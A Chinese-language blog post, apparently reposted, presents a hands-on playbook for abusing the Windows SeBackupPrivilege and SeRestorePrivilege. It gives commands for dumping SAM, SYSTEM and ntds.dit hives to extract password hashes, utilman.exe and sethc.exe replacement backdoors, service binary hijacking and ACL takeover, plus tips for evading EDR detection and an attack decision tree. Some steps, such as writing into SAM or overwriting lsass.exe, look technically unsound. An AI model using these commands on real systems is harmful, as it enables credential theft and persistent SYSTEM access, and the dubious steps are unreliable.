Windows SeBackupPrivilege 与 SeRestorePrivilege 特权利用

在 Windows 权限提升与横向移动的实战中,SeBackupPrivilegeSeRestorePrivilege这两个特权几乎可以称得上是“核武器级”存在。只要一个普通用户(甚至低权限账户)被加入Backup Operators组,或者被显式授予其中任意一个特权,就很可能实现从普通用户 → SYSTEM 的权限跃迁,甚至直接接管整台机器。

但非常重要的一点是:这两个特权的能力其实并不完全相同,它们在读取和写入上的表现有本质区别,实战中经常出现“以为自己有权限其实只能读不能写”或者“写的时候报错但读没问题”的情况。

一、两个特权的本质与内核机制区别

项目SeBackupPrivilegeSeRestorePrivilege两者都拥有时的能力
中文俗称备份特权还原特权完整备份/还原特权(最强组合)
主要内核标志FILE_FLAG_BACKUP_SEMANTICS(读取方向)FILE_FLAG_BACKUP_SEMANTICS(写入方向)两者结合
能否无视DACL读取文件是(几乎任意文件,包括被锁定的)是(但主要是写能力,读能力也附带)
能否无视DACL写入文件(只能读,不能直接写)是(可覆盖、创建、修改高保护文件)
能否修改文件所有权否(只能读)是(配合 SeTakeOwnershipPrivilege 更强)
能否修改 NTFS ACL
典型对应系统角色Backup Operators 默认拥有Backup Operators 默认拥有Backup Operators / 显式授予两者
能否读取被排他锁定的文件是(多数情况下)是(但不常用)
能否覆盖系统关键文件否(只能读出来,不能写回去)是(经典利用目标:utilman.exe、sethc.exe等)

一句话总结区别

  • SeBackupPrivilege≈ 只开了“只读备份通道” → 你可以把几乎任何文件的内容读出来,但不能修改、覆盖、创建新文件到高保护位置
  • SeRestorePrivilege≈ 开了“写入还原通道” → 你可以把内容写到几乎任何位置,甚至覆盖系统文件、修改所有权、ACL
  • 两者同时拥有≈ 完整备份还原能力 → 读写通吃,几乎无视所有 NTFS 保护(除了极少数内核硬保护)

二、利用手法整理

(一)只拥有 SeBackupPrivilege 的利用方式(纯读能力)
  1. reg save 导出注册表蜂窝(至今最经典、最稳定)

    reg save HKLM\SAM sam.hive reg save HKLM\SYSTEM system.hive reg save HKLM\SECURITY security.hive

    → 导出后用 secretsdump / impacket / samdump2 提取本地 hash

  2. 读取 ntds.dit(域控环境)

    • diskshadow 创建持久化影子拷贝
    • robocopy /B 拷贝 ntds.dit + SYSTEM hive
    • impacket-secretsdump 提取域 hash(DCSync 等价)
  3. 使用 SeBackupPrivilegeUtils 模块读取任意文件(PowerShell 最方便)

    Import-Module.\SeBackupPrivilegeUtils.dllImport-Module.\SeBackupPrivilegeCmdLets.dllSet-SeBackupPrivilegeCopy-FileSeBackupPrivilege"C:\Windows\system32\config\SAM""c:\temp\sam.bak"
  4. 自写程序 + FILE_FLAG_BACKUP_SEMANTICS 读取
    最常用 C# 写法(2025年后 Rust/Go 也流行):

    constuintBACKUP_SEMANTICS=0x02000000;usingvarfs=newFileStream(@"C:\Windows\system32\config\SAM",FileMode.Open,FileAccess.Read,FileShare.ReadWrite,4096,(FileOptions)BACKUP_SEMANTICS);
  5. wbadmin + vssadmin 老派玩法(新系统基本失效,但某些老域控仍可)

    wbadmin start backup -backupTarget:E: -include:C: -allCritical -quiet
(二)只拥有 SeRestorePrivilege 的利用方式(重点:可写)
  1. 最经典提权手法

    copy /Y c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe

    重启 → 锁屏界面 Win+U → 弹出 SYSTEM 权限 cmd

  2. 替换 sethc.exe(粘滞键后门)

    copy /Y c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe

    锁屏连续按 Shift 5次 → SYSTEM cmd

  3. 覆盖常见服务可执行文件(需服务可停止)

    • AppReadiness
    • spoolsrv
    • Appinfo
    • TrustedInstaller(较难)
    sc config AppReadiness binPath= "C:\temp\malicious.exe" sc stop AppReadiness sc start AppReadiness
  4. 直接写入高保护目录(配合 SeRestore)

    echo malicious > "C:\Windows\System32\config\SAM"

    (极度危险,极易蓝屏)

  5. 修改文件所有权 & ACL(最彻底玩法)

    takeown /F "C:\Windows\System32\config\SAM" /A icacls "C:\Windows\System32\config\SAM" /grant Administrators:F
(三)两者都拥有时的最强组合玩法
  • 读 + 写 = 任意文件任意位置任意操作
  • 最危险组合:直接修改 SAM、SYSTEM、ntds.dit、驱动文件、组策略文件等
  • 常见核弹级玩法(慎用,会搞崩系统):
    1. 直接覆盖 SAM 文件 → 改本地管理员密码
    2. 写恶意驱动到 drivers 目录 + 加载(需绕过驱动签名强制)
    3. 修改 BCD/BOOTMGR → 持久化后门
    4. 覆盖 lsass.exe → 注入恶意 lsass(极高检测)

三、2026年新变化与限制

  1. Windows 11 24H2 / Server 2025 强化了以下保护:

    • TrustedInstaller 保护的很多文件即使有 SeRestore 也不一定能覆盖(内核新增硬性校验)
    • utilman.exe / sethc.exe 被越来越多环境加了文件完整性校验(尤其企业环境)
    • lsass.exe 保护等级提升(Credential Guard 更普及)
  2. Defender & EDR 检测逻辑升级(2025年后明显加强)

    • reg save SAM/SYSTEM → 高危行为(几乎必报)
    • robocopy /B 或 /ZB → 被大部分商用 EDR 标记为可疑
    • 频繁使用 FILE_FLAG_BACKUP_SEMANTICS 的进程 → 被重点监控
    • CreateFile + SeBackupPrivilege 调用链 → 很多 EDR 能抓到
  3. 目前仍然相对隐蔽的绕过思路(2026 年初):

    • 不直接用 robocopy,用自己写的 C#/Rust 程序调用 BackupRead/BackupWrite API
    • 用 Volume Shadow Copy Service (VSS) 间接读取,不直接碰特权标志
    • 用合法备份软件(Veeam、Acronis 等)进行二次利用
    • 先把文件读到内存,再通过其他通道写出(内存马、反射加载等)

四、实战决策树(建议优先级)

whoami /priv 看到 Backup/Restore 特权了吗? ↓ 是 是否在域控? ↓ 是 ──> diskshadow + robocopy ntds.dit → 优先 ↓ 否 是否有 SeRestorePrivilege? ↓ 是 ──> 优先尝试 utilman.exe / sethc.exe 替换(最快) ↓ 否 只剩 SeBackupPrivilege ↓ 优先 reg save SAM/SYSTEM → 提取 hash ↓ 次选 SeBackupPrivilegeUtils 模块读取敏感文件 ↓ 最后考虑自写程序读取

五、总结

在 2026 年的 Windows 环境下,SeBackupPrivilege + SeRestorePrivilege仍然是权限提升里最直接、最暴力的组合之一。

  • 只有 SeBackup → 基本等于“能 dump hash 就赢一半”
  • 只有 SeRestore → 经典 utilman/sethc 替换仍然是最高效提权路径
  • 两者都有 → 几乎无解,除非系统开了 Credential Guard + 内核完整性保护 + 强 EDR

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/1155855.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

别把文献综述写成“读后感“!这套AI指令帮你构建“上帝视角“的学术地图

🌊 每天8000篇论文的"信息海啸" 根据 Nature 的一项统计数据,全球每天发表的学术论文数量超过 8000篇。 面对如此汹涌的"信息海啸",很多研究者——尤其是刚入门的研究生,往往会陷入一种**“深海窒息"的…

【系统架构师备考笔记】003信息系统建设核心原则

信息系统建设核心原则与技术实践备考笔记本笔记旨在帮助学员系统理解信息系统建设的核心原则与实践要点,便于快速记忆和复习。内容基于大纲结构化组织,聚焦关键知识点。一、 引言信息系统在现代组织中具有战略地位,是支撑业务运作的核心。建设…

Ruby CGI Session

Ruby CGI Session 引言 CGI(Common Gateway Interface)是一种允许外部程序与Web服务器交互的协议。在Ruby中,CGI被广泛用于创建动态Web应用。本文将详细介绍Ruby CGI Session的相关知识,包括其概念、实现方法以及在实际应用中的使用。 什么是CGI Session? CGI Session…

MX播放器 2.6.0| 安卓解码最强的媒体播放器

MX Player被誉为移动平台最强大的本地视频播放器。它以其卓越的解码性能、友好的字幕支持以及兼容各种特效字幕和在线匹配字幕的功能而受到用户的广泛好评。无论是安卓手机还是电视端,MX Player都能提供出色的观看体验,包括小窗口播放功能,使…

【系统架构师备考笔记】004信息系统开发方法

信息系统开发方法概述信息系统开发的定义与重要性开发方法的选择依据(项目需求、复杂度、团队能力等)主流开发方法的分类与特点原型法(Prototyping)【需求阶段】核心思想:快速构建可演示的简化版本,逐步迭代…

【毕业设计】基于深度学习python-CNN卷积神经网络对鸟类识别基于python-CNN卷积神经网络对鸟类识别

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

2010年408(34)真题类似题详解:报文交换 vs 分组交换时延对比

📡 2010年408(34)真题类似题详解:报文交换 vs 分组交换时延对比题目来源:高校计算机网络课程典型例题 难度等级:★★★☆☆(基础但易错) 适用人群:备考408考研、学习计算…

【课程设计/毕业设计】基于python机器学习卷积网络训练识别核桃好坏基于python深度学习卷积网络训练识别核桃好坏

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

【系统架构师备考笔记】005 信息系统的分类与应用

本笔记基于提供的技术文章大纲编写,旨在帮助学员系统理解信息系统的六种主要类型及其应用。笔记聚焦于核心概念、功能特点和应用场景,便于记忆和复习。内容结构清晰,从基础操作层系统到高层集成系统逐步展开,最后总结比较和未来趋…

计算机深度学习毕设实战-基于python的深度学习卷积神经网络识别苹果品质基于python_CNN深度学习卷积神经网络识别苹果品质

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

【课程设计/毕业设计】基于python-CNN机器学习卷积神经网络训练识别牙齿是否健康基于python-CNN卷积神经网络训练识别牙齿是否健康

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

CSS 列表详解

CSS 列表详解 引言 在网页设计中,列表是一种常用的元素,用于展示信息、项目或数据。CSS(层叠样式表)为列表提供了丰富的样式和布局选项。本文将详细探讨CSS列表的各种属性和应用,帮助您更好地理解和使用CSS列表。 CSS列表概述 CSS列表主要包括两种类型:无序列表(uno…

JS 隐式转换和显示转换

一、隐式转换二、显示转换

【计算机毕业设计案例】基于python-CNN深度学习卷积神经网络对鸟类识别基于python-CNN卷积神经网络对鸟类识别

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

【课程设计/毕业设计】基于深度学习python-CNN卷积神经网络对墙体有无污渍识别基于python-CNN卷积神经网络对墙体有无污渍识别

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

深度学习毕设项目:基于python_CNN卷积神经网络识别苹果品质基于python_CNN深度学习卷积神经网络识别苹果品质

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

012-计算机网络实验报告完整版!

今天给大家分享的是完整的计算机接口实验报告: 主要有:1、网络命令的使用;2、Wireshark抓包分析;3、使用Packet Tracer模拟网络环境;4、使用Packet Tracer模拟路由协议 相信学计算机的小伙伴肯定不陌生,这几…

30+ QA面试常见问题与应答解析

对于软件测试领域的求职者而言,面试常常伴随着压力。充分的准备无疑是提升自信、应对挑战的最佳方式。本文整理了超过30 个常见的质量保证与软件测试面试问题及参考答案,旨在帮助求职者系统地回顾关键概念。 这些问题已按难度、类型和职位角色(如QA经理、QA主管、QA测试工程…

Vue3 使用 Ajax (Axios) 实现前后端交互

Vue3 使用 Ajax (Axios) 实现前后端交互 随着互联网技术的飞速发展,前端框架的使用越来越广泛。Vue 作为目前最流行的前端框架之一,其版本迭代更新也备受关注。Vue3 的推出,更是带来了诸多改进和优化。在 Vue3 中,实现前后端交互的方式与 Vue2 有所不同,本文将详细介绍如…

Node.js用Array.at避免数组越界

💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 Node.js开发者必知:用Array.at()优雅解决数组越界问题目录Node.js开发者必知:用Array.at()优雅解决数组越…